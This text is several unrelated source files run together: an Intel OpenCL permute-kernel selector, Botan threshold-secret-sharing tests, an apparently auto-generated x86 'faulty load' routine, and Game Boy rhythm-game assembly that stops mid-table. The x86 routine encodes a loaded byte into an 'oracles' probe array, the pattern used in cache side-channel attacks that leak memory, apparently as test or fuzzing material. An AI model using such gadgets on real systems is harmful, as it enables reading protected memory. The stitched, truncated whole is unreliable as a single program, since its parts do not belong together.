// Copyright (c) 2016-2019 Intel Corporation // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "permute_kernel_ref.h" #include "kernel_selector_utils.h" #include <string> namespace kernel_selector { ParamsKey PermuteKernelRef::GetSupportedKey() const { ParamsKey k; k.EnableInputDataType(Datatype::F16); k.EnableInputDataType(Datatype::F32); k.EnableInputDataType(Datatype::INT8); k.EnableInputDataType(Datatype::UINT8); k.EnableInputDataType(Datatype::INT32); k.EnableInputDataType(Datatype::INT64); k.EnableOutputDataType(Datatype::F16); k.EnableOutputDataType(Datatype::F32); k.EnableOutputDataType(Datatype::INT8); k.EnableOutputDataType(Datatype::UINT8); k.EnableOutputDataType(Datatype::INT32); k.EnableOutputDataType(Datatype::INT64); k.EnableAllInputLayout(); k.EnableAllOutputLayout(); k.EnableTensorOffset(); k.EnableTensorPitches(); k.EnableBatching(); return k; } JitConstants PermuteKernelRef::GetJitConstants(const permute_params& params) const { JitConstants jit = MakeBaseParamsJitConstants(params); jit.AddConstant(MakeJitConstant("PERMUTE_ORDER", params.order)); return jit; } KernelsData PermuteKernelRef::GetKernelsData(const Params& params, const optional_params& options) const { assert(params.GetType() == KernelType::PERMUTE); KernelData kd = KernelData::Default<permute_params>(params); permute_params& newParams = *static_cast<permute_params*>(kd.params.get()); auto entry_point = GetEntryPoint(kernelName, newParams.layerID, options); auto cldnn_jit = GetJitConstants(newParams); std::string jit = CreateJit(kernelName, cldnn_jit, entry_point); const auto& in = newParams.inputs[0]; auto& kernel = kd.kernels[0]; kernel.workGroups.global = {in.Y().v * in.Z().v * in.W().v, in.X().v, in.Feature().v * in.Batch().v}; kernel.workGroups.local = GetOptimalLocalWorkGroupSizes(kernel.workGroups.global, params.engineInfo); kernel.kernelString = GetKernelString(kernelName, jit, entry_point, params.engineInfo, DEFAULT); kernel.arguments = GetArgsDesc(1, false, false); kd.estimatedTime = DONT_USE_IF_HAVE_SOMETHING_ELSE; return {kd}; } } // namespace kernel_selector
/* * (C) 2009 Jack Lloyd * * Botan is released under the Simplified BSD License (see license.txt) */ #include "tests.h" #if defined(BOTAN_HAS_THRESHOLD_SECRET_SHARING) #include <botan/tss.h> #include "test_rng.h" #endif namespace Botan_Tests { namespace { #if defined(BOTAN_HAS_THRESHOLD_SECRET_SHARING) class TSS_Recovery_Tests final : public Text_Based_Test { public: TSS_Recovery_Tests() : Text_Based_Test("tss/recovery.vec", "N,M,Shares,Recovered") {} Test::Result run_one_test(const std::string& header, const VarMap& vars) override { Test::Result result("TSS"); const std::vector<uint8_t> input = vars.get_req_bin("Recovered"); const size_t N = vars.get_req_sz("N"); const size_t M = vars.get_req_sz("M"); const std::vector<std::vector<uint8_t>> expected_shares = vars.get_req_bin_list("Shares"); try { std::vector<Botan::RTSS_Share> shares; for(auto&& v : expected_shares) { shares.push_back(Botan::RTSS_Share(v.data(), v.size())); } auto reconstructed_secret_all = Botan::RTSS_Share::reconstruct(shares); result.test_eq("Reconstructed secret correctly from all shares", reconstructed_secret_all, input); if(header == "Invalid") result.test_failure("Invalid shares should not result in recovery"); if(N != M) { while(shares.size() > M) { size_t to_remove = Test::rng().next_byte() % shares.size(); shares.erase(shares.begin() + to_remove); try { auto reconstructed_secret = Botan::RTSS_Share::reconstruct(shares); result.test_eq("Reconstructed secret correctly from reduced shares", reconstructed_secret, input); } catch(Botan::Decoding_Error&) { result.test_failure("Reconstruction failed with share count " + std::to_string(shares.size())); } } } } catch(std::exception& e) { if(header == "Valid") result.test_failure("Valid TSS failed to recover", e.what()); else result.test_success("Invalid TSS rejected as expected"); } return result; } }; BOTAN_REGISTER_TEST("utils", "tss_recovery", TSS_Recovery_Tests); class TSS_Generation_Tests final : public Text_Based_Test { public: TSS_Generation_Tests() : Text_Based_Test("tss/generation.vec", "Input,RNG,Hash,Id,N,M,Shares") {} static size_t tss_hash_len(const std::string& hash) { if(hash == "None") return 0; else if(hash == "SHA-1") return 20; else if(hash == "SHA-256") return 32; else throw Test_Error("Unknown TSS hash algorithm " + hash); } Test::Result run_one_test(const std::string&, const VarMap& vars) override { Test::Result result("TSS"); const std::vector<uint8_t> input = vars.get_req_bin("Input"); const std::vector<uint8_t> id = vars.get_req_bin("Id"); const std::vector<uint8_t> rng_data = vars.get_req_bin("RNG"); const uint8_t N = vars.get_req_u8("N"); const uint8_t M = vars.get_req_u8("M"); const std::string hash = vars.get_req_str("Hash"); const std::vector<std::vector<uint8_t>> expected_shares = vars.get_req_bin_list("Shares"); if(expected_shares.size() != N) throw Test_Error("Invalid test data for TSS share count != N"); if(rng_data.size() != (input.size() + tss_hash_len(hash)) * (M-1)) throw Test_Error("Invalid test data for TSS share bad RNG input size"); Fixed_Output_RNG fixed_rng(rng_data); std::vector<Botan::RTSS_Share> shares = Botan::RTSS_Share::split(M, N, input.data(), static_cast<uint16_t>(input.size()), id, hash, fixed_rng); result.test_eq("Expected number of shares", shares.size(), N); for(size_t i = 0; i != N; ++i) { result.test_eq("Expected share", shares[i].data(), expected_shares[i]); } auto reconstructed_secret_all = Botan::RTSS_Share::reconstruct(shares); result.test_eq("Reconstructed secret correctly from all shares", reconstructed_secret_all, input); if(N != M) { while(shares.size() > M) { size_t to_remove = Test::rng().next_byte() % shares.size(); shares.erase(shares.begin() + to_remove); try { auto reconstructed_secret = Botan::RTSS_Share::reconstruct(shares); result.test_eq("Reconstructed secret correctly from reduced shares", reconstructed_secret, input); } catch(Botan::Decoding_Error&) { result.test_failure("Reconstruction failed with share count " + std::to_string(shares.size())); } } } return result; } }; BOTAN_REGISTER_TEST("utils", "tss_generation", TSS_Generation_Tests); #endif // BOTAN_HAS_THRESHOLD_SECRET_SHARING } }
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r15 push %r8 push %rcx push %rdx push %rsi // Store mov $0x972, %rcx nop nop nop and $12021, %r15 mov $0x5152535455565758, %rdx movq %rdx, %xmm2 movups %xmm2, (%rcx) nop nop nop dec %r12 // Store lea addresses_D+0xa632, %r8 clflush (%r8) nop nop cmp $2993, %r10 movw $0x5152, (%r8) nop nop and %r10, %r10 // Load lea addresses_UC+0x6df2, %rsi nop nop nop sub %r8, %r8 vmovups (%rsi), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %rdx nop nop nop nop nop add %r12, %r12 // Store lea addresses_UC+0xad72, %rsi nop nop inc %r12 mov $0x5152535455565758, %r8 movq %r8, (%rsi) nop nop nop add %rsi, %rsi // Faulty Load lea addresses_D+0x12f72, %r15 nop nop nop sub $5745, %r8 movb (%r15), %r12b lea oracles, %rsi and $0xff, %r12 shlq $12, %r12 mov (%rsi,%r12,1), %r12 pop %rsi pop %rdx pop %rcx pop %r8 pop %r15 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_D', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'36': 507} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
;---------------------------------------------------------------------------- ; Constant Definitions ;---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- ; # "Config" Constants # ; Note Lane & Hit Height DEF WX_NOTE_LANE EQU 100 DEF NOTE_HIT_LY EQU $6C DEF NOTE_DESPAWN_RANGE EQU 24 ; Button Constants DEF BTN_DRUM_A EQU BTN_A | BTN_DPAD_R DEF BTN_DRUM_B EQU BTN_B | BTN_DPAD_L ; Accuracy Ranges (in pixels) DEF RANGE_OKAY EQU 24 DEF RANGE_GREAT EQU 16 DEF RANGE_PERFECT EQU 8 ; Accuracy indices, DO NOT TOUCH DEF INDEX_OKAY EQU 0 DEF INDEX_GREAT EQU 1 DEF INDEX_PERFECT EQU 2 DEF INDEX_MISS EQU 3 ; Delay for accuracy labels (in frames) DEF DELAY_LB_CLEAR EQU 25 ; BCD Config Variables DEF SIZE_COMBO EQU 2 DEF SIZE_SCORE EQU 3 ; Combo Thresholds DEF COMBO_RANGE_CNT EQU 2 DEF COMBO_LIMIT_1 EQU 15 DEF COMBO_LIMIT_2 EQU 30 ;---------------------------------------------------------------------------- ; # Tile Numbers # ; Note Lane Tiles DEF NOTE_LANE_TILE_L EQU $10 DEF NOTE_LANE_TILE_R EQU $11 ; Drum & Circle Tiles DEF DRUM_TILE_START EQU $04 DEF CIRCLE_TILE_BASE EQU $02 ; Label & Text Tiles DEF LB_SCORE_START EQU $94 DEF LB_COMBO_START EQU $97 DEF LB_MISS_START EQU $12 DEF LB_OKAY_START EQU $15 DEF LB_GREAT_START EQU $18 DEF LB_PERFECT_START EQU $1B DEF NUM_TILE_BASE EQU $80 ;---------------------------------------------------------------------------- ; # VRAM Addresses # ; Score Labels DEF VRAM_SCORE EQU $9C00 DEF VRAM_POINTS_HI EQU $9C20 DEF VRAM_POINTS_LO EQU VRAM_POINTS_HI+$20 ; Combo Labels DEF VRAM_COMBO EQU $9E00 DEF VRAM_COMBO_HI EQU $9DC0 DEF VRAM_COMBO_LO EQU VRAM_COMBO_HI+$20 ; Accuracy Labels DEF VRAM_ACC_L EQU $9A20 DEF VRAM_ACC_R EQU $9A24 SECTION "Main Game", ROM0 ;---------------------------------------------------------------------------- ; Initialization Routine for the Main Game ;---------------------------------------------------------------------------- InitGame: ;---------------------------------------------------------------------------- ; Basic Initialization ; Initialize Palettes ld a, %11100100 ldh [rBGP], a ldh [rOBP0], a cpl ldh [rOBP1], a ; Set to Bank 1 for Graphics Data xor a ld [rROMB1], a inc a ld [rROMB0], a ; Reset & Initialize Audio Registers xor a ldh [rAUDENA], a ld a, $80 ld [rAUDENA], a ld a, $FF ld [rAUDTERM], a ld a, $77 ld [rAUDVOL], a ;---------------------------------------------------------------------------- ; Load Window Tilemap ; Initially Clear Tilemaps ld hl, $9800 ld bc, $A000-$9800 ld d, 0 call Memset ; Load Note Lane Tiles ld hl, $9800 ld c, $0D .noteLaneLoad ld de, NoteLaneTilemap call LoadTilemap dec c jr nz, .noteLaneLoad ; Load Taiko Tiles ld de, TaikoTilemap call LoadTilemap ;---------------------------------------------------------------------------- ; Load Background Tilemap ; Load Score Label ld hl, VRAM_SCORE ld b, 3 ld a, LB_SCORE_START .scoreLabelLoad ld [hli], a inc a dec b jr nz, .scoreLabelLoad ; Load Points Label ld hl, VRAM_POINTS_HI ld de, VRAM_POINTS_LO ld a, NUM_TILE_BASE ld b, 8 .pointLabelLoad ld [hli], a add $0A ld [de], a inc de sub $0A dec b jr nz, .pointLabelLoad ; Load Combo Label ld hl, VRAM_COMBO ld b, 4 ld a, LB_COMBO_START .comboLabelLoad ld [hli], a inc a dec b jr nz, .comboLabelLoad ld hl, VRAM_COMBO_HI ld [hl], NUM_TILE_BASE ld hl, VRAM_COMBO_LO ld [hl], NUM_TILE_BASE + $0A ;---------------------------------------------------------------------------- ; Load Tile Data into VRAM ; Load BG Tiles into VRAM ld hl, $8800 ld de, GameTilesBG ld bc, EndGameTilesBG - GameTilesBG call Memcpy ; Load Sprite & Window Tiles into VRAM ld hl, $8020 ld de, GameTilesSpritesWindow ld bc, EndGameTilesSpritesWindow - GameTilesSpritesWindow call Memcpy ;---------------------------------------------------------------------------- ; Initialize (Shadow) OAM ; Initialize Shadow OAM ld hl, wShadowOAM ld b, OAM_COUNT ld c, OAMF_XFLIP .initLoopOAM ld a, $FF ld [hli], a inc a ld [hli], a ld a, CIRCLE_TILE_BASE ld [hli], a ld a, c xor OAMF_XFLIP ld [hli], a ld c, a dec b jr nz, .initLoopOAM ; Transfer Shadow OAM to real OAM ld a, HIGH(wShadowOAM) call hOAMDMA ;---------------------------------------------------------------------------- ; Map Initialization ; Fetch Pointer to Map Data ldh a, [hSelectedSong] ld l, a ld h, $00 ld de, MapsetTable add hl, hl add hl, de ld a, [hli] ld h, [hl] ld l, a ld b, 1 ; TODO: Load B with selected difficulty value .difficultySelectLoop inc hl inc hl inc hl dec b jr nz, .difficultySelectLoop call GetPointerAbs ; Fetch map data length & approach speed ld a, [hli] ld c, a ld a, [hli] ld b, a ld a, [hl] dec a ldh [hApproachSpeed], a ; Set initial song delay based on approach speed push hl ld hl, InitDelayTable add l ld l, a adc h sub l ld h, a ld a, [hl] ldh [hSongPlayDelay], a pop hl ; Copy map to WRAM, preserve length & WRAM pointer in stack push bc ld d, h ld e, l inc de ld hl, wMapData push hl call Memcpy ;---------------------------------------------------------------------------- ; Initialize Registers & Variables ; PPU Registers xor a ldh [rWY], a dec a ldh [rLYC], a ld a, WX_NOTE_LANE ldh [rWX], a ld a, -4 ldh [rSCX], a ldh [rSCY], a ; hUGEDriver Initialization ldh a, [hSelectedSong] ld l, a ld h, $00 ld de, MapsetTable add hl, hl add hl, de ld a, [hli] ld h, [hl] ld l, a call GetPointerAbs call hUGE_init ; Game Variables ld a, 1 ldh [hNextEventDelay], a xor a ldh [hPtrOAM], a ldh [hComboLevel], a ld [wScore], a ld [wScore+1], a ld [wScore+2], a ld [wCombo], a ld [wCombo+1], a ; Rendering Queue Variables ($FF) dec a ldh [hRenderLabelLeft], a ldh [hRenderLabelRight], a ;---------------------------------------------------------------------------- ; Initialize Interrupts & Fall through to main loop ; Initialize Interrupts xor a ldh [rIF], a ld a, IEF_VBLANK ldh [rIE], a ei ; Initialize LCD and Loop ld a, LCDCF_ON | LCDCF_BGON | LCDCF_BG9C00 | LCDCF_WIN9800 | LCDCF_OBJON | LCDCF_WINON | LCDCF_BG8000 | LCDCF_OBJ16 ldh [rLCDC], a ;---------------------------------------------------------------------------- ; Main Loop for actual Gameplay ;---------------------------------------------------------------------------- MainGameLoop: ;---------------------------------------------------------------------------- ; Wait for VBlank halt ldh a, [rLY] cp SCRN_Y jr c, MainGameLoop ;---------------------------------------------------------------------------- ; Do OAM DMA ld a, HIGH(wShadowOAM) call hOAMDMA ;---------------------------------------------------------------------------- ; Accuracy Label Rendering ; Left Taiko ldh a, [hRenderLabelLeft] cp $FF jr z, .noRenderLabelB ld hl, VRAM_ACC_L add a add LOW(GameLabelTable) ld c, a ld b, HIGH(GameLabelTable) jr nc, .noLabelAdjustB inc b .noLabelAdjustB ld a, [bc] ld e, a inc bc ld a, [bc] ld d, a call LoadTilemap ld a, $FF ldh [hRenderLabelLeft], a .noRenderLabelB ; Right Taiko ldh a, [hRenderLabelRight] cp $FF jr z, .noRenderLabelA ld hl, VRAM_ACC_R add a add LOW(GameLabelTable) ld c, a ld b, HIGH(GameLabelTable) jr nc, .noLabelAdjustA inc b .noLabelAdjustA ld a, [bc] ld e, a inc bc ld a, [bc] ld d, a call LoadTilemap ld a, $FF ldh [hRenderLabelRight], a .noRenderLabelA ;---------------------------------------------------------------------------- ; Accuracy Label Despawning ; Left Taiko Label Clear ldh a, [hClearDelayLeft] dec a ldh [hClearDelayLeft], a jr nz, .noLeftLabelClear ld hl, VRAM_ACC_L ld [hli], a ld [hli], a ld [hli], a ld [hli], a .noLeftLabelClear ; Right Taiko Label Clear ldh a, [hClearDelayRight] dec a ldh [hClearDelayRight], a jr nz, .noRightLabelClear ld hl, VRAM_ACC_R ld [hli], a ld [hli], a ld [hli], a ld [hli], a .noRightLabelClear ;---------------------------------------------------------------------------- ; Combo Label Rendering ; Clear First Label ld hl, VRAM_COMBO_HI ld de, VRAM_COMBO_LO xor a REPT 4 ld [hli], a ld [de], a inc de ENDR ; Render Label ld hl, wCombo+SIZE_COMBO-1 ld de, VRAM_COMBO_HI ld b, SIZE_COMBO call RenderBCD_NLZ ;---------------------------------------------------------------------------- ; Score Label Rendering ld hl, wScore+SIZE_SCORE-1 ld de, VRAM_POINTS_HI ld b, SIZE_SCORE call RenderBCD ;---------------------------------------------------------------------------- ; Input Handler ; Fetch current input state call FetchInput ; Check for A Drum Button Press ldh a, [hPressedKeys] and BTN_DRUM_A jp z, .noDrumPressA ; Search for lowest A Drum Circle ld hl, wShadowOAM ld b, l ld c, l ld d, OAM_COUNT/2 .circleScanLoopA ; Load Y-Pos of next circle ld a, [hli] cp $FF jr z, .noLowestCircleA cp b jr c, .noLowestCircleA ; Check if circle is actually A-drum circle via palette bit inc hl inc hl push af ld a, [hli] and OAMF_PAL1 jr z, .noLowestCirclePalA ; Update Output Registers pop af ld b, a ; Load lowest Circle Y into B ld c, l ; Load lowest Circle Address into C dec c dec c dec c dec c inc hl inc hl inc hl inc hl dec d jr nz, .circleScanLoopA jr .endCircleScanA .noLowestCirclePalA pop af dec hl dec hl dec hl .noLowestCircleA ; Go to next circle ld a, 7 add l ld l, a dec d jr nz, .circleScanLoopA .endCircleScanA ; If note is above OKAY range act as if nothing happened ld a, b cp NOTE_HIT_LY - RANGE_OKAY jr c, .noDrumPressA ; Move note out of frame ld h, HIGH(wShadowOAM) ld l, c ld [hl], $FF ld a, 4 add l ld l, a ld [hl], $FF ; Get difference between perfect hit and circle sprite ld a, NOTE_HIT_LY sub b jr nc, .noAdjustDiffA ld a, b sub NOTE_HIT_LY .noAdjustDiffA ; Determine hit range ld b, INDEX_MISS cp RANGE_OKAY jr nc, .endHitRangeCalcA ld b, INDEX_OKAY cp RANGE_GREAT jr nc, .endHitRangeCalcA ld b, INDEX_GREAT cp RANGE_PERFECT jr nc, .endHitRangeCalcA ld b, INDEX_PERFECT .endHitRangeCalcA ; Queue Rendering of Accuracy Labels ld a, b ldh [hRenderLabelRight], a ; Update score ldh a, [hComboLevel] add b inc a ld hl, wScore ld b, SIZE_SCORE call AddBCD ; Update Combo ld hl, wCombo ld a, 1 ld b, SIZE_COMBO call AddBCD ; Update Combo Scoring Level ldh a, [hComboLevel] cp COMBO_RANGE_CNT jr z, .noUpdateScoringLevelA ld a, [wCombo] ld b, 0 cp COMBO_LIMIT_1 jr c, .endUpdateScoringLevelA ld b, 1 cp COMBO_LIMIT_2 jr c, .endUpdateScoringLevelA ld b, 2 .endUpdateScoringLevelA ld a, b ldh [hComboLevel], a .noUpdateScoringLevelA ; Update Accuracy Label Clear Timeouts ld a, DELAY_LB_CLEAR ldh [hClearDelayRight], a .noDrumPressA ; Check for B Button Presses ldh a, [hPressedKeys] and BTN_DRUM_B jp z, .noDrumPressB ; Search for lowest A Drum Circle ld hl, wShadowOAM ld b, l ld c, l ld d, OAM_COUNT/2 .circleScanLoopB ; Load Y-Pos of next circle ld a, [hli] cp $FF jr z, .noLowestCircleB cp b jr c, .noLowestCircleB ; Check if circle is actually A-drum circle via palette bit inc hl inc hl push af ld a, [hli] and OAMF_PAL1 jr nz, .noLowestCirclePalB ; Update Output Registers pop af ld b, a ; Load lowest Circle Y into B ld c, l ; Load lowest Circle Address into C dec c dec c dec c dec c inc hl inc hl inc hl inc hl dec d jr nz, .circleScanLoopB jr .endCircleScanB .noLowestCirclePalB pop af dec hl dec hl dec hl .noLowestCircleB ; Go to next circle ld a, 7 add l ld l, a dec d jr nz, .circleScanLoopB .endCircleScanB ; If note is above OKAY range act as if nothing happened ld a, b cp NOTE_HIT_LY - RANGE_OKAY jr c, .noDrumPressB ; Move note out of frame ld h, HIGH(wShadowOAM) ld l, c ld [hl], $FF ld a, 4 add l ld l, a ld [hl], $FF ; Get difference between perfect hit and circle sprite ld a, NOTE_HIT_LY sub b jr nc, .noAdjustDiffB ld a, b sub NOTE_HIT_LY .noAdjustDiffB ; Determine hit range ld b, INDEX_MISS cp RANGE_OKAY jr nc, .endHitRangeCalcB ld b, INDEX_OKAY cp RANGE_GREAT jr nc, .endHitRangeCalcB ld b, INDEX_GREAT cp RANGE_PERFECT jr nc, .endHitRangeCalcB ld b, INDEX_PERFECT .endHitRangeCalcB ; Queue Rendering of Accuracy Labels ld a, b ldh [hRenderLabelLeft], a ; Update score ldh a, [hComboLevel] add b inc a ld hl, wScore ld b, SIZE_SCORE call AddBCD ; Update Combo ld hl, wCombo ld a, 1 ld b, SIZE_COMBO call AddBCD ; Update Combo Scoring Level ldh a, [hComboLevel] cp COMBO_RANGE_CNT jr z, .noUpdateScoringLevelB ld a, [wCombo] ld b, 0 cp COMBO_LIMIT_1 jr c, .endUpdateScoringLevelB ld b, 1 cp COMBO_LIMIT_2 jr c, .endUpdateScoringLevelB ld b, 2 .endUpdateScoringLevelB ld a, b ldh [hComboLevel], a .noUpdateScoringLevelB ; Update Accuracy Label Clear Timeouts ld a, DELAY_LB_CLEAR ldh [hClearDelayLeft], a .noDrumPressB ;---------------------------------------------------------------------------- ; Handle Event Spawning ; Check Event Delay ldh a, [hNextEventDelay] dec a ldh [hNextEventDelay], a jp nz, .waitForEvent ; Restore counters from stack & read next event byte pop hl pop bc ld a, [hli] dec bc ; Check for A Circle Spawn sla a jr nc, .noPressA ; Preserve Regs & Fetch Pointers push af push hl ld h, HIGH(wShadowOAM) ldh a, [hPtrOAM] ld l, a ; Load OAM Data xor a ld [hli], a ld a, WX_NOTE_LANE + 5 + 4*8 ld [hli], a inc hl ld a, OAMF_PAL1 ld [hli], a xor a ld [hli], a ld a, WX_NOTE_LANE + 13 + 4*8 ld [hli], a inc hl ld a, OAMF_PAL1 | OAMF_XFLIP ld [hli], a ; Update OAM Pointer ld a, l cp $9F jr c, .oamInRangeA xor a .oamInRangeA ldh [hPtrOAM], a ; Restore Registers pop hl pop af ; Check for B Circle Spawn .noPressA sla a jr nc, .noPressB ; Preserve Regs & Fetch Pointers push af push hl ld h, HIGH(wShadowOAM) ldh a, [hPtrOAM] ld l, a ; Load OAM Data xor a ld [hli], a ld a, WX_NOTE_LANE + 5 ld [hli], a inc hl ld a, OAMF_PAL0 ld [hli], a xor a ld [hli], a ld a, WX_NOTE_LANE + 13 ld [hli], a inc hl ld a, OAMF_PAL0 | OAMF_XFLIP ld [hli], a ; Update OAM Pointer ld a, l cp $9F jr c, .oamInRangeB xor a .oamInRangeB ldh [hPtrOAM], a ; Restore Registers pop hl pop af ; Update Delay & Counters for Next Event .noPressB ldh [hNextEventDelay], a push bc push hl ;---------------------------------------------------------------------------- ; Update Sprites in Shadow OAM ; Initialize Update Loop .waitForEvent ld hl, wShadowOAM ld c, 20 .circleUpdateLoop ; Check if circle is off screen ld a, [hl] cp $FF jr z, .offscreenCircle ; Calculate new Y Value, check if in range ld b, a ldh a, [hApproachSpeed] inc a add b cp NOTE_HIT_LY + NOTE_DESPAWN_RANGE jr c, .noteInRange ; Reset combo on missed note, set Y Value to $FF xor a ld [wCombo], a ld [wCombo+1], a ldh [hComboLevel], a ld a, $FF ; Update Y Values in Shadow OAM .noteInRange ld [hli], a inc hl inc hl inc hl ld [hli], a inc hl inc hl inc hl dec c jr nz, .circleUpdateLoop jr .endCircleUpdate ; If circle off screen, skip 2 sprites (8 bytes) .offscreenCircle ld a, 8 add l ld l, a adc h sub l ld h, a dec c jr nz, .circleUpdateLoop .endCircleUpdate ;---------------------------------------------------------------------------- ; Check initial song delay & do sound ; Check if delay is 0 ldh a, [hSongPlayDelay] and a jr z, .doSound ; Decrement delay and return to start of loop dec a ldh [hSongPlayDelay], a jp MainGameLoop ; Play Sound and return to start of loop .doSound call _hUGE_dosound jp MainGameLoop ;---------------------------------------------------------------------------- ; Rendering routine for BCD numbers (Score & Combo) ; Falls through to RenderBCD but makes sure to remove all leading zeroes. ; Input: ; HL - Pointer to HIGHEST byte of BCD Number ; DE - Pointer to VRAM (upper tile address) ; B - Amount of BCD Bytes ;---------------------------------------------------------------------------- RenderBCD_NLZ: ; Skip all zero bytes ld a, [hl] and a jr nz, .noZeroBytes dec hl dec b jr z, .numberIsZero jr RenderBCD_NLZ .numberIsZero xor a jr RenderBCD.renderNibble .noZeroBytes ; Check if upper nibble is zero ld c, a and $F0 ld a, c jr z, RenderBCD.onlyUpperNibble ;---------------------------------------------------------------------------- ; Rendering routine for BCD numbers (Score & Combo) ; Input: ; HL - Pointer to HIGHEST byte of BCD Number ; DE - Pointer to VRAM (upper tile address) ; B - Amount of BCD Bytes ;---------------------------------------------------------------------------- RenderBCD: ; Load BCD byte, back up in C, swap nibbles ld a, [hld] ld c, a swap a ; Render lower nibble, swap nibbles, render upper nibble call .renderNibble ld a, c .onlyUpperNibble call .renderNibble ; Check if all bytes have been rendered, if so return, otherwise loop dec b jr nz, RenderBCD ret .renderNibble ; Get lower nibble, calculate upper tile address, write to VRAM and $0F add NUM_TILE_BASE ld [de], a ; Go to next tile line push af ld a, $20 add e ld e, a adc d sub e ld d, a pop af ; Get lower tile index, load into VRAM, reset pointer to upper tile of next digit add 10 ld [de], a ld a, e sub $1F ld e, a ret nc dec d ret SECTION "Game Data", ROM0 InitDelayTable: db NOTE_HIT_LY/1 db NOTE_HIT_LY/2 db NOTE_HIT_LY/3 db NOTE_HIT_LY/4 GameLabelTable: dw LabelTilemapOKAY dw LabelTilemapGREAT dw LabelTilemapPERFECT dw LabelTilemapMISS LabelTilemapOKAY: db 1, LB_OKAY_START, 1, LB_OKAY_START+1, 1, LB_OKAY_START+2, 1, 0, 0 LabelTilemapGREAT: db 1, LB_GREAT_START, 1, LB_GREAT_START+1, 1, LB_GREAT_START+2, 1, 0, 0 LabelTilemapPERFECT: db 1, LB_PERFECT_START, 1, LB_PERFECT_START+1, 1, LB_PERFECT_START+2, 1, LB_PERFECT_START+3, 0 LabelTilemapMISS: db 1, LB_MISS_START, 1, LB_MISS_START+1, 1, LB_MISS_START+2, 1, 0, 0 SECTION "Main Game WRAM", WRAM0 wCombo: ds SIZE_COMBO wScore: ds SIZE_SCORE SECTION "Main Game HRAM", HRAM hApproachSpeed: db hSongPlayDelay: db hNextEventDelay: db hPtrOAM: db ; Accuracy Label Variables hClearDelayLeft: db hClearDelayRight: db hRenderLabelLeft: db hRenderLabelRight: db ; Scoring Variables hComboLevel: db SECTION "Shadow OAM", WRAM0, ALIGN[8] wShadowOAM:: ds OAM_COUNT * 4 SECTION "Map Data RAM", WRAM0, ALIGN[8] wMapData:: ds $1000 SECTION "Ingame Graphics", ROMX, BANK[1] GameTilesBG: INCBIN "gfx/numbers.2bpp" INCBIN "gfx/score.2bpp" INCBIN "gfx/combo.2bpp" EndGameTilesBG: GameTilesSpritesWindow: INCBIN "gfx/circle.2bpp" INCBIN "gfx/drums.2bpp" INCBIN "gfx/note_lane.2bpp" INCBIN "gfx/miss.2bpp" INCBIN "gfx/okay.2bpp" INCBIN "gfx/great.2bpp" INCBIN "gfx/perfect.2bpp" EndGameTilesSpritesWindow: NoteLaneTilemap: db 1, NOTE_LANE_TILE_L, 1, $00, 1, NOTE_LANE_TILE_R, 1, $00, 1, NOTE_LANE_TILE_L, 1, $00, 1, NOTE_LANE_TILE_R, $19, $00, 0 TaikoTilemap: db 1, DRUM_TILE_START, 1, DRUM_TILE_START+1, 1, DRUM_TILE_START+2, 1, $00, 1, DRUM_TILE_START, 1, DRUM_TILE_START+1, 1, DRUM_TILE_START+2, $19, $00 db 1, DRUM_TILE_START+3, 1, 